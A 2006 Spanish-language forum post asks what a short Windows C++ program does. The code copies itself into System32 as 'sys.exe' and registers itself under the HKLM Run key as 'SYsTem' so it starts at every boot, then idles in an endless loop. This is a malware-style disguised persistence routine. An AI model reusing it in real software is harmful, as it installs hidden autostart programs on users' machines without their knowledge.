Ver Mensaje Individual
  #1 (permalink)  
Antiguo 27/03/2006, 15:39
Avatar de X.Cyclop
X.Cyclop
Usuario baneado!
 
Fecha de Ingreso: diciembre-2005
Ubicación: México, D.F.
Mensajes: 1.328
Antigüedad: 19 años, 1 mes
Puntos: 0
Pregunta ¿Qué hace este programa en C++?

¿Qué hace este programa en C++?

Código:
#include <windows.h>
char win[MAX_PATH]; 
char n [256];  
int WINAPI WinMain (HINSTANCE hThisInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR lpszArgument,
                    int nFunsterStil)
{

HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe,n,256); 
GetWindowsDirectory(win,sizeof(win)); 
strcat(win,"\\System32\\sys.exe"); 
SetErrorMode(SEM_FAILCRITICALERRORS); 
CopyFile(n,win,0); 
HKEY hkey; 
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
RegSetValueEx(hkey,"SYsTem",0,REG_SZ,(const unsigned char*)win,sizeof(win));
int i = 1;
do
{
Sleep(6000);                                  
}while(i != 0); 
return 0;
}
Abre el regedit, mete algo en el incio y ¿? ¿Deja hibernando la pc? ... sleep(6000)